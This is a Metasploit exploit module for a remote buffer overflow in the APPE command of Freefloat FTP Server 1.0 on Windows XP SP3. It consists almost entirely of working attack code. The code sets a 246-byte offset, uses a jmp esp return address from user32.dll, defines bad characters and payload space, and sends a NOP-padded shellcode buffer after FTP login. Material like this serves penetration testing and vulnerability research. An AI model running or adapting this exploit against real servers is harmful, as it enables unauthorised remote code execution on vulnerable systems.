Freefloat FTP Server APPE Command Overflow

`##############################################################################  
#  
# Title : Freefloat FTP Server APPE Command Overflow Exploit - MSF  
# Author : Veerendra G.G SecPod Technologies (www.secpod.com)  
# Vendor : http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php  
# Advisory : http://secpod.org/blog/?p=310  
# http://secpod.org/blog/?p=384  
# http://secpod.org/msf/bison_server_bof.rb  
# Version : Freefloat FTP Server Version 1.0  
# Date : 09/07/2011  
#  
###############################################################################  
  
##  
# $Id: freefloat_ftp_apee_cmd.rb 2011-07-19 03:13:45Z veerendragg $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Freefloat FTP Server APPE Command Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability  
found in the APPE command in the Freefloat FTP server.  
},  
'Author' =>  
[  
'veerendragg @ SecPod', # Initial Discovery  
'veerendragg @ SecPod' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 1.0 $',  
'References' =>  
[  
[ 'URL', 'http://secpod.org/blog/?p=310' ],  
[ 'URL', 'http://secpod.org/blog/?p=353' ],  
[ 'URL', 'http://secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP3 EN',  
{  
'Ret' => 0x7e429353, # jmp esp from user32.dll  
'Offset' => 246  
}  
],  
],  
'DisclosureDate' => 'Aug 07 2011',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect_login  
  
print_status("Trying target #{target.name}...")  
  
buf = make_nops(target['Offset'])  
buf << [target.ret].pack('V')  
buf << make_nops(30)  
buf << payload.encoded  
  
print_status("Sending exploit buffer...")  
send_cmd( ['APPE', buf] , false )  
  
handler  
disconnect  
end  
  
end  
`